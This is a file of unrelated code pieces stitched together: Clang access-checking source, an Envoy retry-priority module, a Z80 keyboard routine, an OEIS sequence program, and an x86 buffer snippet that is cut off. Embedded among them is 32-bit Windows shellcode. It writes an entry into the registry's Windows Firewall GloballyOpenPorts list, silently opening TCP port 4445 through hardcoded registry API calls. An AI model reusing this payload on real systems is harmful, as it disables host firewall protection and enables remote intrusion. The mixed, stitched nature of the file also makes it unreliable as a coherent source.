static void diagnoseBadDirectAccess(Sema &S,
const EffectiveContext &EC,
AccessTarget &entity) {
assert(entity.isMemberAccess());
NamedDecl *D = entity.getTargetDecl();
if (D->getAccess() == AS_protected &&
TryDiagnoseProtectedAccess(S, EC, entity))
return;
// Find an original declaration.
while (D->isOutOfLine()) {
NamedDecl *PrevDecl = nullptr;
if (VarDecl *VD = dyn_cast<VarDecl>(D))
PrevDecl = VD->getPreviousDecl();
else if (FunctionDecl *FD = dyn_cast<FunctionDecl>(D))
PrevDecl = FD->getPreviousDecl();
else if (TypedefNameDecl *TND = dyn_cast<TypedefNameDecl>(D))
PrevDecl = TND->getPreviousDecl();
else if (TagDecl *TD = dyn_cast<TagDecl>(D)) {
if (isa<RecordDecl>(D) && cast<RecordDecl>(D)->isInjectedClassName())
break;
PrevDecl = TD->getPreviousDecl();
}
if (!PrevDecl) break;
D = PrevDecl;
}
CXXRecordDecl *DeclaringClass = FindDeclaringClass(D);
Decl *ImmediateChild;
if (D->getDeclContext() == DeclaringClass)
ImmediateChild = D;
else {
DeclContext *DC = D->getDeclContext();
while (DC->getParent() != DeclaringClass)
DC = DC->getParent();
ImmediateChild = cast<Decl>(DC);
}
// Check whether there's an AccessSpecDecl preceding this in the
// chain of the DeclContext.
bool isImplicit = true;
for (const auto *I : DeclaringClass->decls()) {
if (I == ImmediateChild) break;
if (isa<AccessSpecDecl>(I)) {
isImplicit = false;
break;
}
}
S.Diag(D->getLocation(), diag::note_access_natural)
<< (unsigned) (D->getAccess() == AS_protected)
<< isImplicit;
}
/// Diagnose the path which caused the given declaration or base class
/// to become inaccessible.
static void DiagnoseAccessPath(Sema &S,
const EffectiveContext &EC,
AccessTarget &entity) {
// Save the instance context to preserve invariants.
AccessTarget::SavedInstanceContext _ = entity.saveInstanceContext();
// This basically repeats the main algorithm but keeps some more
// information.
// The natural access so far.
AccessSpecifier accessSoFar = AS_public;
// Check whether we have special rights to the declaring class.
if (entity.isMemberAccess()) {
NamedDecl *D = entity.getTargetDecl();
accessSoFar = D->getAccess();
const CXXRecordDecl *declaringClass = entity.getDeclaringClass();
switch (HasAccess(S, EC, declaringClass, accessSoFar, entity)) {
// If the declaration is accessible when named in its declaring
// class, then we must be constrained by the path.
case AR_accessible:
accessSoFar = AS_public;
entity.suppressInstanceContext();
break;
case AR_inaccessible:
if (accessSoFar == AS_private ||
declaringClass == entity.getEffectiveNamingClass())
return diagnoseBadDirectAccess(S, EC, entity);
break;
case AR_dependent:
llvm_unreachable("cannot diagnose dependent access");
}
}
CXXBasePaths paths;
CXXBasePath &path = *FindBestPath(S, EC, entity, accessSoFar, paths);
assert(path.Access != AS_public);
CXXBasePath::iterator i = path.end(), e = path.begin();
CXXBasePath::iterator constrainingBase = i;
while (i != e) {
--i;
assert(accessSoFar != AS_none && accessSoFar != AS_private);
// Is the entity accessible when named in the deriving class, as
// modified by the base specifier?
const CXXRecordDecl *derivingClass = i->Class->getCanonicalDecl();
const CXXBaseSpecifier *base = i->Base;
// If the access to this base is worse than the access we have to
// the declaration, remember it.
AccessSpecifier baseAccess = base->getAccessSpecifier();
if (baseAccess > accessSoFar) {
constrainingBase = i;
accessSoFar = baseAccess;
}
switch (HasAccess(S, EC, derivingClass, accessSoFar, entity)) {
case AR_inaccessible: break;
case AR_accessible:
accessSoFar = AS_public;
entity.suppressInstanceContext();
constrainingBase = nullptr;
break;
case AR_dependent:
llvm_unreachable("cannot diagnose dependent access");
}
// If this was private inheritance, but we don't have access to
// the deriving class, we're done.
if (accessSoFar == AS_private) {
assert(baseAccess == AS_private);
assert(constrainingBase == i);
break;
}
}
// If we don't have a constraining base, the access failure must be
// due to the original declaration.
if (constrainingBase == path.end())
return diagnoseBadDirectAccess(S, EC, entity);
// We're constrained by inheritance, but we want to say
// "declared private here" if we're diagnosing a hierarchy
// conversion and this is the final step.
unsigned diagnostic;
if (entity.isMemberAccess() ||
constrainingBase + 1 != path.end()) {
diagnostic = diag::note_access_constrained_by_path;
} else {
diagnostic = diag::note_access_natural;
}
const CXXBaseSpecifier *base = constrainingBase->Base;
S.Diag(base->getSourceRange().getBegin(), diagnostic)
<< base->getSourceRange()
<< (base->getAccessSpecifier() == AS_protected)
<< (base->getAccessSpecifierAsWritten() == AS_none);
if (entity.isMemberAccess())
S.Diag(entity.getTargetDecl()->getLocation(),
diag::note_member_declared_at);
}
static void DiagnoseBadAccess(Sema &S, SourceLocation Loc,
const EffectiveContext &EC,
AccessTarget &Entity) {
const CXXRecordDecl *NamingClass = Entity.getNamingClass();
const CXXRecordDecl *DeclaringClass = Entity.getDeclaringClass();
NamedDecl *D = (Entity.isMemberAccess() ? Entity.getTargetDecl() : nullptr);
S.Diag(Loc, Entity.getDiag())
<< (Entity.getAccess() == AS_protected)
<< (D ? D->getDeclName() : DeclarationName())
<< S.Context.getTypeDeclType(NamingClass)
<< S.Context.getTypeDeclType(DeclaringClass);
DiagnoseAccessPath(S, EC, Entity);
}
/// MSVC has a bug where if during an using declaration name lookup,
/// the declaration found is unaccessible (private) and that declaration
/// was bring into scope via another using declaration whose target
/// declaration is accessible (public) then no error is generated.
/// Example:
/// class A {
/// public:
/// int f();
/// };
/// class B : public A {
/// private:
/// using A::f;
/// };
/// class C : public B {
/// private:
/// using B::f;
/// };
///
/// Here, B::f is private so this should fail in Standard C++, but
/// because B::f refers to A::f which is public MSVC accepts it.
static bool IsMicrosoftUsingDeclarationAccessBug(Sema& S,
SourceLocation AccessLoc,
AccessTarget &Entity) {
if (UsingShadowDecl *Shadow =
dyn_cast<UsingShadowDecl>(Entity.getTargetDecl())) {
const NamedDecl *OrigDecl = Entity.getTargetDecl()->getUnderlyingDecl();
if (Entity.getTargetDecl()->getAccess() == AS_private &&
(OrigDecl->getAccess() == AS_public ||
OrigDecl->getAccess() == AS_protected)) {
S.Diag(AccessLoc, diag::ext_ms_using_declaration_inaccessible)
<< Shadow->getUsingDecl()->getQualifiedNameAsString()
<< OrigDecl->getQualifiedNameAsString();
return true;
}
}
return false;
}
/// Determines whether the accessed entity is accessible. Public members
/// have been weeded out by this point.
static AccessResult IsAccessible(Sema &S,
const EffectiveContext &EC,
AccessTarget &Entity) {
// Determine the actual naming class.
const CXXRecordDecl *NamingClass = Entity.getEffectiveNamingClass();
AccessSpecifier UnprivilegedAccess = Entity.getAccess();
assert(UnprivilegedAccess != AS_public && "public access not weeded out");
// Before we try to recalculate access paths, try to white-list
// accesses which just trade in on the final step, i.e. accesses
// which don't require [M4] or [B4]. These are by far the most
// common forms of privileged access.
if (UnprivilegedAccess != AS_none) {
switch (HasAccess(S, EC, NamingClass, UnprivilegedAccess, Entity)) {
case AR_dependent:
// This is actually an interesting policy decision. We don't
// *have* to delay immediately here: we can do the full access
// calculation in the hope that friendship on some intermediate
// class will make the declaration accessible non-dependently.
// But that's not cheap, and odds are very good (note: assertion
// made without data) that the friend declaration will determine
// access.
return AR_dependent;
case AR_accessible: return AR_accessible;
case AR_inaccessible: break;
}
}
AccessTarget::SavedInstanceContext _ = Entity.saveInstanceContext();
// We lower member accesses to base accesses by pretending that the
// member is a base class of its declaring class.
AccessSpecifier FinalAccess;
if (Entity.isMemberAccess()) {
// Determine if the declaration is accessible from EC when named
// in its declaring class.
NamedDecl *Target = Entity.getTargetDecl();
const CXXRecordDecl *DeclaringClass = Entity.getDeclaringClass();
FinalAccess = Target->getAccess();
switch (HasAccess(S, EC, DeclaringClass, FinalAccess, Entity)) {
case AR_accessible:
// Target is accessible at EC when named in its declaring class.
// We can now hill-climb and simply check whether the declaring
// class is accessible as a base of the naming class. This is
// equivalent to checking the access of a notional public
// member with no instance context.
FinalAccess = AS_public;
Entity.suppressInstanceContext();
break;
case AR_inaccessible: break;
case AR_dependent: return AR_dependent; // see above
}
if (DeclaringClass == NamingClass)
return (FinalAccess == AS_public ? AR_accessible : AR_inaccessible);
} else {
FinalAccess = AS_public;
}
assert(Entity.getDeclaringClass() != NamingClass);
// Append the declaration's access if applicable.
CXXBasePaths Paths;
CXXBasePath *Path = FindBestPath(S, EC, Entity, FinalAccess, Paths);
if (!Path)
return AR_dependent;
assert(Path->Access <= UnprivilegedAccess &&
"access along best path worse than direct?");
if (Path->Access == AS_public)
return AR_accessible;
return AR_inaccessible;
}
static void DelayDependentAccess(Sema &S,
const EffectiveContext &EC,
SourceLocation Loc,
const AccessTarget &Entity) {
assert(EC.isDependent() && "delaying non-dependent access");
DeclContext *DC = EC.getInnerContext();
assert(DC->isDependentContext() && "delaying non-dependent access");
DependentDiagnostic::Create(S.Context, DC, DependentDiagnostic::Access,
Loc,
Entity.isMemberAccess(),
Entity.getAccess(),
Entity.getTargetDecl(),
Entity.getNamingClass(),
Entity.getBaseObjectType(),
Entity.getDiag());
}
/// Checks access to an entity from the given effective context.
static AccessResult CheckEffectiveAccess(Sema &S,
const EffectiveContext &EC,
SourceLocation Loc,
AccessTarget &Entity) {
assert(Entity.getAccess() != AS_public && "called for public access!");
switch (IsAccessible(S, EC, Entity)) {
case AR_dependent:
DelayDependentAccess(S, EC, Loc, Entity);
return AR_dependent;
case AR_inaccessible:
if (S.getLangOpts().MSVCCompat &&
IsMicrosoftUsingDeclarationAccessBug(S, Loc, Entity))
return AR_accessible;
if (!Entity.isQuiet())
DiagnoseBadAccess(S, Loc, EC, Entity);
return AR_inaccessible;
case AR_accessible:
return AR_accessible;
}
// silence unnecessary warning
llvm_unreachable("invalid access result");
}
static Sema::AccessResult CheckAccess(Sema &S, SourceLocation Loc,
AccessTarget &Entity) {
// If the access path is public, it's accessible everywhere.
if (Entity.getAccess() == AS_public)
return Sema::AR_accessible;
// If we're currently parsing a declaration, we may need to delay
// access control checking, because our effective context might be
// different based on what the declaration comes out as.
//
// For example, we might be parsing a declaration with a scope
// specifier, like this:
// A::private_type A::foo() { ... }
//
// Or we might be parsing something that will turn out to be a friend:
// void foo(A::private_type);
// void B::foo(A::private_type);
if (S.DelayedDiagnostics.shouldDelayDiagnostics()) {
S.DelayedDiagnostics.add(DelayedDiagnostic::makeAccess(Loc, Entity));
return Sema::AR_delayed;
}
EffectiveContext EC(S.CurContext);
switch (CheckEffectiveAccess(S, EC, Loc, Entity)) {
case AR_accessible: return Sema::AR_accessible;
case AR_inaccessible: return Sema::AR_inaccessible;
case AR_dependent: return Sema::AR_dependent;
}
llvm_unreachable("falling off end");
}
void Sema::HandleDelayedAccessCheck(DelayedDiagnostic &DD, Decl *D) {
// Access control for names used in the declarations of functions
// and function templates should normally be evaluated in the context
// of the declaration, just in case it's a friend of something.
// However, this does not apply to local extern declarations.
DeclContext *DC = D->getDeclContext();
if (D->isLocalExternDecl()) {
DC = D->getLexicalDeclContext();
} else if (FunctionDecl *FN = dyn_cast<FunctionDecl>(D)) {
DC = FN;
} else if (TemplateDecl *TD = dyn_cast<TemplateDecl>(D)) {
DC = cast<DeclContext>(TD->getTemplatedDecl());
}
EffectiveContext EC(DC);
AccessTarget Target(DD.getAccessData());
if (CheckEffectiveAccess(*this, EC, DD.Loc, Target) == ::AR_inaccessible)
DD.Triggered = true;
}
void Sema::HandleDependentAccessCheck(const DependentDiagnostic &DD,
const MultiLevelTemplateArgumentList &TemplateArgs) {
SourceLocation Loc = DD.getAccessLoc();
AccessSpecifier Access = DD.getAccess();
Decl *NamingD = FindInstantiatedDecl(Loc, DD.getAccessNamingClass(),
TemplateArgs);
if (!NamingD) return;
Decl *TargetD = FindInstantiatedDecl(Loc, DD.getAccessTarget(),
TemplateArgs);
if (!TargetD) return;
if (DD.isAccessToMember()) {
CXXRecordDecl *NamingClass = cast<CXXRecordDecl>(NamingD);
NamedDecl *TargetDecl = cast<NamedDecl>(TargetD);
QualType BaseObjectType = DD.getAccessBaseObjectType();
if (!BaseObjectType.isNull()) {
BaseObjectType = SubstType(BaseObjectType, TemplateArgs, Loc,
DeclarationName());
if (BaseObjectType.isNull()) return;
}
AccessTarget Entity(Context,
AccessTarget::Member,
NamingClass,
DeclAccessPair::make(TargetDecl, Access),
BaseObjectType);
Entity.setDiag(DD.getDiagnostic());
CheckAccess(*this, Loc, Entity);
} else {
AccessTarget Entity(Context,
AccessTarget::Base,
cast<CXXRecordDecl>(TargetD),
cast<CXXRecordDecl>(NamingD),
Access);
Entity.setDiag(DD.getDiagnostic());
CheckAccess(*this, Loc, Entity);
}
}
Sema::AccessResult Sema::CheckUnresolvedLookupAccess(UnresolvedLookupExpr *E,
DeclAccessPair Found) {
if (!getLangOpts().AccessControl ||
!E->getNamingClass() ||
Found.getAccess() == AS_public)
return AR_accessible;
AccessTarget Entity(Context, AccessTarget::Member, E->getNamingClass(),
Found, QualType());
Entity.setDiag(diag::err_access) << E->getSourceRange();
return CheckAccess(*this, E->getNameLoc(), Entity);
}
/// Perform access-control checking on a previously-unresolved member
/// access which has now been resolved to a member.
Sema::AccessResult Sema::CheckUnresolvedMemberAccess(UnresolvedMemberExpr *E,
DeclAccessPair Found) {
if (!getLangOpts().AccessControl ||
Found.getAccess() == AS_public)
return AR_accessible;
QualType BaseType = E->getBaseType();
if (E->isArrow())
BaseType = BaseType->getAs<PointerType>()->getPointeeType();
AccessTarget Entity(Context, AccessTarget::Member, E->getNamingClass(),
Found, BaseType);
Entity.setDiag(diag::err_access) << E->getSourceRange();
return CheckAccess(*this, E->getMemberLoc(), Entity);
}
/// Is the given special member function accessible for the purposes of
/// deciding whether to define a special member function as deleted?
bool Sema::isSpecialMemberAccessibleForDeletion(CXXMethodDecl *decl,
AccessSpecifier access,
QualType objectType) {
// Fast path.
if (access == AS_public || !getLangOpts().AccessControl) return true;
AccessTarget entity(Context, AccessTarget::Member, decl->getParent(),
DeclAccessPair::make(decl, access), objectType);
// Suppress diagnostics.
entity.setDiag(PDiag());
switch (CheckAccess(*this, SourceLocation(), entity)) {
case AR_accessible: return true;
case AR_inaccessible: return false;
case AR_dependent: llvm_unreachable("dependent for =delete computation");
case AR_delayed: llvm_unreachable("cannot delay =delete computation");
}
llvm_unreachable("bad access result");
}
Sema::AccessResult Sema::CheckDestructorAccess(SourceLocation Loc,
CXXDestructorDecl *Dtor,
const PartialDiagnostic &PDiag,
QualType ObjectTy) {
if (!getLangOpts().AccessControl)
return AR_accessible;
// There's never a path involved when checking implicit destructor access.
AccessSpecifier Access = Dtor->getAccess();
if (Access == AS_public)
return AR_accessible;
CXXRecordDecl *NamingClass = Dtor->getParent();
if (ObjectTy.isNull()) ObjectTy = Context.getTypeDeclType(NamingClass);
AccessTarget Entity(Context, AccessTarget::Member, NamingClass,
DeclAccessPair::make(Dtor, Access),
ObjectTy);
Entity.setDiag(PDiag); // TODO: avoid copy
return CheckAccess(*this, Loc, Entity);
}
/// Checks access to a constructor.
Sema::AccessResult Sema::CheckConstructorAccess(SourceLocation UseLoc,
CXXConstructorDecl *Constructor,
const InitializedEntity &Entity,
AccessSpecifier Access,
bool IsCopyBindingRefToTemp) {
if (!getLangOpts().AccessControl || Access == AS_public)
return AR_accessible;
PartialDiagnostic PD(PDiag());
switch (Entity.getKind()) {
default:
PD = PDiag(IsCopyBindingRefToTemp
? diag::ext_rvalue_to_reference_access_ctor
: diag::err_access_ctor);
break;
case InitializedEntity::EK_Base:
PD = PDiag(diag::err_access_base_ctor);
PD << Entity.isInheritedVirtualBase()
<< Entity.getBaseSpecifier()->getType() << getSpecialMember(Constructor);
break;
case InitializedEntity::EK_Member: {
const FieldDecl *Field = cast<FieldDecl>(Entity.getDecl());
PD = PDiag(diag::err_access_field_ctor);
PD << Field->getType() << getSpecialMember(Constructor);
break;
}
case InitializedEntity::EK_LambdaCapture: {
StringRef VarName = Entity.getCapturedVarName();
PD = PDiag(diag::err_access_lambda_capture);
PD << VarName << Entity.getType() << getSpecialMember(Constructor);
break;
}
}
return CheckConstructorAccess(UseLoc, Constructor, Entity, Access, PD);
}
/// Checks access to a constructor.
Sema::AccessResult Sema::CheckConstructorAccess(SourceLocation UseLoc,
CXXConstructorDecl *Constructor,
const InitializedEntity &Entity,
AccessSpecifier Access,
const PartialDiagnostic &PD) {
if (!getLangOpts().AccessControl ||
Access == AS_public)
return AR_accessible;
CXXRecordDecl *NamingClass = Constructor->getParent();
// Initializing a base sub-object is an instance method call on an
// object of the derived class. Otherwise, we have an instance method
// call on an object of the constructed type.
CXXRecordDecl *ObjectClass;
if (Entity.getKind() == InitializedEntity::EK_Base) {
ObjectClass = cast<CXXConstructorDecl>(CurContext)->getParent();
} else {
ObjectClass = NamingClass;
}
AccessTarget AccessEntity(Context, AccessTarget::Member, NamingClass,
DeclAccessPair::make(Constructor, Access),
Context.getTypeDeclType(ObjectClass));
AccessEntity.setDiag(PD);
return CheckAccess(*this, UseLoc, AccessEntity);
}
/// Checks access to an overloaded operator new or delete.
Sema::AccessResult Sema::CheckAllocationAccess(SourceLocation OpLoc,
SourceRange PlacementRange,
CXXRecordDecl *NamingClass,
DeclAccessPair Found,
bool Diagnose) {
if (!getLangOpts().AccessControl ||
!NamingClass ||
Found.getAccess() == AS_public)
return AR_accessible;
AccessTarget Entity(Context, AccessTarget::Member, NamingClass, Found,
QualType());
if (Diagnose)
Entity.setDiag(diag::err_access)
<< PlacementRange;
return CheckAccess(*this, OpLoc, Entity);
}
/// \brief Checks access to a member.
Sema::AccessResult Sema::CheckMemberAccess(SourceLocation UseLoc,
CXXRecordDecl *NamingClass,
DeclAccessPair Found) {
if (!getLangOpts().AccessControl ||
!NamingClass ||
Found.getAccess() == AS_public)
return AR_accessible;
AccessTarget Entity(Context, AccessTarget::Member, NamingClass,
Found, QualType());
return CheckAccess(*this, UseLoc, Entity);
}
/// Checks access to an overloaded member operator, including
/// conversion operators.
Sema::AccessResult Sema::CheckMemberOperatorAccess(SourceLocation OpLoc,
Expr *ObjectExpr,
Expr *ArgExpr,
DeclAccessPair Found) {
if (!getLangOpts().AccessControl ||
Found.getAccess() == AS_public)
return AR_accessible;
const RecordType *RT = ObjectExpr->getType()->castAs<RecordType>();
CXXRecordDecl *NamingClass = cast<CXXRecordDecl>(RT->getDecl());
AccessTarget Entity(Context, AccessTarget::Member, NamingClass, Found,
ObjectExpr->getType());
Entity.setDiag(diag::err_access)
<< ObjectExpr->getSourceRange()
<< (ArgExpr ? ArgExpr->getSourceRange() : SourceRange());
return CheckAccess(*this, OpLoc, Entity);
}
/// Checks access to the target of a friend declaration.
Sema::AccessResult Sema::CheckFriendAccess(NamedDecl *target) {
assert(isa<CXXMethodDecl>(target->getAsFunction()));
// Friendship lookup is a redeclaration lookup, so there's never an
// inheritance path modifying access.
AccessSpecifier access = target->getAccess();
if (!getLangOpts().AccessControl || access == AS_public)
return AR_accessible;
CXXMethodDecl *method = cast<CXXMethodDecl>(target->getAsFunction());
assert(method->getQualifier());
AccessTarget entity(Context, AccessTarget::Member,
cast<CXXRecordDecl>(target->getDeclContext()),
DeclAccessPair::make(target, access),
/*no instance context*/ QualType());
entity.setDiag(diag::err_access_friend_function)
<< method->getQualifierLoc().getSourceRange();
// We need to bypass delayed-diagnostics because we might be called
// while the ParsingDeclarator is active.
EffectiveContext EC(CurContext);
switch (CheckEffectiveAccess(*this, EC, target->getLocation(), entity)) {
case AR_accessible: return Sema::AR_accessible;
case AR_inaccessible: return Sema::AR_inaccessible;
case AR_dependent: return Sema::AR_dependent;
}
llvm_unreachable("falling off end");
}
Sema::AccessResult Sema::CheckAddressOfMemberAccess(Expr *OvlExpr,
DeclAccessPair Found) {
if (!getLangOpts().AccessControl ||
Found.getAccess() == AS_none ||
Found.getAccess() == AS_public)
return AR_accessible;
OverloadExpr *Ovl = OverloadExpr::find(OvlExpr).Expression;
CXXRecordDecl *NamingClass = Ovl->getNamingClass();
AccessTarget Entity(Context, AccessTarget::Member, NamingClass, Found,
/*no instance context*/ QualType());
Entity.setDiag(diag::err_access)
<< Ovl->getSourceRange();
return CheckAccess(*this, Ovl->getNameLoc(), Entity);
}
/// Checks access for a hierarchy conversion.
///
/// \param ForceCheck true if this check should be performed even if access
/// control is disabled; some things rely on this for semantics
/// \param ForceUnprivileged true if this check should proceed as if the
/// context had no special privileges
Sema::AccessResult Sema::CheckBaseClassAccess(SourceLocation AccessLoc,
QualType Base,
QualType Derived,
const CXXBasePath &Path,
unsigned DiagID,
bool ForceCheck,
bool ForceUnprivileged) {
if (!ForceCheck && !getLangOpts().AccessControl)
return AR_accessible;
if (Path.Access == AS_public)
return AR_accessible;
CXXRecordDecl *BaseD, *DerivedD;
BaseD = cast<CXXRecordDecl>(Base->getAs<RecordType>()->getDecl());
DerivedD = cast<CXXRecordDecl>(Derived->getAs<RecordType>()->getDecl());
AccessTarget Entity(Context, AccessTarget::Base, BaseD, DerivedD,
Path.Access);
if (DiagID)
Entity.setDiag(DiagID) << Derived << Base;
if (ForceUnprivileged) {
switch (CheckEffectiveAccess(*this, EffectiveContext(),
AccessLoc, Entity)) {
case ::AR_accessible: return Sema::AR_accessible;
case ::AR_inaccessible: return Sema::AR_inaccessible;
case ::AR_dependent: return Sema::AR_dependent;
}
llvm_unreachable("unexpected result from CheckEffectiveAccess");
}
return CheckAccess(*this, AccessLoc, Entity);
}
/// Checks access to all the declarations in the given result set.
void Sema::CheckLookupAccess(const LookupResult &R) {
assert(getLangOpts().AccessControl
&& "performing access check without access control");
assert(R.getNamingClass() && "performing access check without naming class");
for (LookupResult::iterator I = R.begin(), E = R.end(); I != E; ++I) {
if (I.getAccess() != AS_public) {
AccessTarget Entity(Context, AccessedEntity::Member,
R.getNamingClass(), I.getPair(),
R.getBaseObjectType());
Entity.setDiag(diag::err_access);
CheckAccess(*this, R.getNameLoc(), Entity);
}
}
}
/// Checks access to Decl from the given class. The check will take access
/// specifiers into account, but no member access expressions and such.
///
/// \param Decl the declaration to check if it can be accessed
/// \param Ctx the class/context from which to start the search
/// \return true if the Decl is accessible from the Class, false otherwise.
bool Sema::IsSimplyAccessible(NamedDecl *Decl, DeclContext *Ctx) {
if (CXXRecordDecl *Class = dyn_cast<CXXRecordDecl>(Ctx)) {
if (!Decl->isCXXClassMember())
return true;
QualType qType = Class->getTypeForDecl()->getCanonicalTypeInternal();
AccessTarget Entity(Context, AccessedEntity::Member, Class,
DeclAccessPair::make(Decl, Decl->getAccess()),
qType);
if (Entity.getAccess() == AS_public)
return true;
EffectiveContext EC(CurContext);
return ::IsAccessible(*this, EC, Entity) != ::AR_inaccessible;
}
if (ObjCIvarDecl *Ivar = dyn_cast<ObjCIvarDecl>(Decl)) {
// @public and @package ivars are always accessible.
if (Ivar->getCanonicalAccessControl() == ObjCIvarDecl::Public ||
Ivar->getCanonicalAccessControl() == ObjCIvarDecl::Package)
return true;
// If we are inside a class or category implementation, determine the
// interface we're in.
ObjCInterfaceDecl *ClassOfMethodDecl = nullptr;
if (ObjCMethodDecl *MD = getCurMethodDecl())
ClassOfMethodDecl = MD->getClassInterface();
else if (FunctionDecl *FD = getCurFunctionDecl()) {
if (ObjCImplDecl *Impl
= dyn_cast<ObjCImplDecl>(FD->getLexicalDeclContext())) {
if (ObjCImplementationDecl *IMPD
= dyn_cast<ObjCImplementationDecl>(Impl))
ClassOfMethodDecl = IMPD->getClassInterface();
else if (ObjCCategoryImplDecl* CatImplClass
= dyn_cast<ObjCCategoryImplDecl>(Impl))
ClassOfMethodDecl = CatImplClass->getClassInterface();
}
}
// If we're not in an interface, this ivar is inaccessible.
if (!ClassOfMethodDecl)
return false;
// If we're inside the same interface that owns the ivar, we're fine.
if (declaresSameEntity(ClassOfMethodDecl, Ivar->getContainingInterface()))
return true;
// If the ivar is private, it's inaccessible.
if (Ivar->getCanonicalAccessControl() == ObjCIvarDecl::Private)
return false;
return Ivar->getContainingInterface()->isSuperClassOf(ClassOfMethodDecl);
}
return true;
}
|
//
// Created by ibelikov on 23.12.19.
//
#include "AnalogDrum.h"
|
[BITS 32]
global _start
_start:
;for the handle
xor edx, edx
mov edi, esp
mov dword [edi], edx
sub esp, 0x10 ;avoid handle being overwritten
;Prepare the key
; SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\Firewallpolicy\StandardProfile\GloballyOpenPorts\List
push 0x00747369
push 0x4c5c7374
push 0x726f506e
push 0x65704f79
push 0x6c6c6162
push 0x6f6c475c
push 0x656c6966
push 0x6f725064
push 0x7261646e
push 0x6174535c
push 0x7963696c
push 0x6f706c6c
push 0x61776572
push 0x69465c73
push 0x72657465
push 0x6d617261
push 0x505c7373
push 0x65636341
push 0x64657261
push 0x68535c73
push 0x65636976
push 0x7265535c
push 0x7465536c
push 0x6f72746e
push 0x6f43746e
push 0x65727275
push 0x435c4d45
push 0x54535953
mov edx, esp
xor eax, eax
push eax ;pDisposion = NULL
push edi ;pHandle
push eax ;pSecurity = NULL
push 0x0f003f ;Access = KEY_ALL_ACCESS
push eax ;Options = REG_OPTION_NON_VOLATILE
push eax ;Class = NULL
push eax ;Reserved = NULL
push edx ;Subkey
push 0x80000002 ;hkey = HKEY_LOCAL_MACHINE
mov eax, 0x77dde9e4 ;RegCreateKeyExA
call eax
;RegSetValue ValueName = 4445:TCP
xor edx, edx
push edx
push 0x5043543a
push 0x35343434
mov edx, esp
;REgSEtValue buffer = 4445:TCP:*:Enabled:test
xor ecx, ecx
push ecx
push 0x00747365
push 0x743a6465
push 0x6c62616e
push 0x453a2a3a
push 0x5043543a
push 0x35343434
mov ecx, esp
xor eax, eax
inc eax
push 0x18 ;BufSize = 0x16
push ecx ;Buffer
push eax ;ValueType = REG-SZ
dec eax
push eax ;Reserved = 0
push edx ;ValueName
push dword [edi] ;hKey
mov eax, 0x77ddead7 ;RegSetValueExA
call eax
push dword [edi] ;hKey
mov eax, 0x77dd6c17 ;RegCloseKey
call eax
|
; uint in_KeyPressed(uint scancode)
; 02.2008 aralbrec
XLIB in_KeyPressed
; Determines if a key is pressed using the scan code
; returned by in_LookupKey.
; enter : l = scan row
; h = key mask
; exit : carry = key is pressed & HL = 1
; no carry = key not pressed & HL = 0
; used : AF,BC,HL
.in_KeyPressed
bit 7,h
jp z, nocaps
ld a,$fe ; check on CAPS key
in a,($fe)
and $01
jr nz, fail ; CAPS not pressed
.nocaps
ld a,h
and $1f
ld b,l
ld c,$fe
in b,(c)
and b
jr nz, fail ; key not pressed
ld hl,1
scf
ret
.fail
ld hl,0
ret
|
#include "extensions/retry/priority/previous_priorities/previous_priorities.h"
namespace Envoy {
namespace Extensions {
namespace Retry {
namespace Priority {
const Upstream::PriorityLoad& PreviousPrioritiesRetryPriority::determinePriorityLoad(
const Upstream::PrioritySet& priority_set,
const Upstream::PriorityLoad& original_priority_load) {
// If we've not seen enough retries to modify the priority load, just
// return the original.
// If this retry should trigger an update, recalculate the priority load by excluding attempted
// priorities.
if (attempted_priorities_.size() < update_frequency_) {
return original_priority_load;
} else if (attempted_priorities_.size() % update_frequency_ == 0) {
if (excluded_priorities_.size() < priority_set.hostSetsPerPriority().size()) {
excluded_priorities_.resize(priority_set.hostSetsPerPriority().size());
}
for (const auto priority : attempted_priorities_) {
excluded_priorities_[priority] = true;
}
if (!adjustForAttemptedPriorities(priority_set)) {
return original_priority_load;
}
}
return per_priority_load_;
}
bool PreviousPrioritiesRetryPriority::adjustForAttemptedPriorities(
const Upstream::PrioritySet& priority_set) {
for (auto& host_set : priority_set.hostSetsPerPriority()) {
recalculatePerPriorityState(host_set->priority(), priority_set);
}
auto adjustedHealthAndSum = adjustedHealth();
// If there are no healthy priorities left, we reset the attempted priorities and recompute the
// adjusted health.
// This allows us to fall back to the unmodified priority load when we run out of priorites
// instead of failing to route requests.
if (adjustedHealthAndSum.second == 0) {
for (size_t i = 0; i < excluded_priorities_.size(); ++i) {
excluded_priorities_[i] = false;
}
attempted_priorities_.clear();
adjustedHealthAndSum = adjustedHealth();
}
const auto& adjusted_per_priority_health = adjustedHealthAndSum.first;
auto total_health = adjustedHealthAndSum.second;
// If total health is still zero at this point, it must mean that all clusters are
// completely unhealthy. If so, fall back to using the original priority set. This mantains
// whatever handling the default LB uses when all priorities are unhealthy.
if (total_health == 0) {
return false;
}
std::fill(per_priority_load_.begin(), per_priority_load_.end(), 0);
// We then adjust the load by rebalancing priorities with the adjusted health values.
size_t total_load = 100;
// The outer loop is used to eliminate rounding errors: any remaining load will be assigned to the
// first healthy priority.
while (total_load != 0) {
for (size_t i = 0; i < adjusted_per_priority_health.size(); ++i) {
// Now assign as much load as possible to the high priority levels and cease assigning load
// when total_load runs out.
auto delta =
std::min<uint32_t>(total_load, adjusted_per_priority_health[i] * 100 / total_health);
per_priority_load_[i] += delta;
total_load -= delta;
}
}
return true;
}
std::pair<std::vector<uint32_t>, uint32_t> PreviousPrioritiesRetryPriority::adjustedHealth() const {
// Create an adjusted health view of the priorities, where attempted priorities are
// given a zero weight.
uint32_t total_health = 0;
std::vector<uint32_t> adjusted_per_priority_health(per_priority_health_.size(), 0);
for (size_t i = 0; i < per_priority_health_.size(); ++i) {
if (!excluded_priorities_[i]) {
adjusted_per_priority_health[i] = per_priority_health_[i];
total_health += per_priority_health_[i];
}
}
return {std::move(adjusted_per_priority_health), std::min(total_health, 100u)};
}
} // namespace Priority
} // namespace Retry
} // namespace Extensions
} // namespace Envoy
|
; A094330: Product of next n numbers divided by n.
; Submitted by Jon Maiga
; 1,3,40,1260,72072,6511680,852508800,152512113600,35730097603200,10613749905158400,3897631650008678400,1733625189541076832000,918381625086037787136000,571320549624154764994560000
mov $1,$0
add $1,2
mov $2,1
add $2,$0
bin $2,2
lpb $0
sub $0,1
add $2,1
mul $1,$2
lpe
mov $0,$1
div $0,2
|
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r9
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0x1e979, %rsi
lea addresses_WT_ht+0x16ed9, %rdi
nop
nop
nop
inc %rbx
mov $116, %rcx
rep movsq
nop
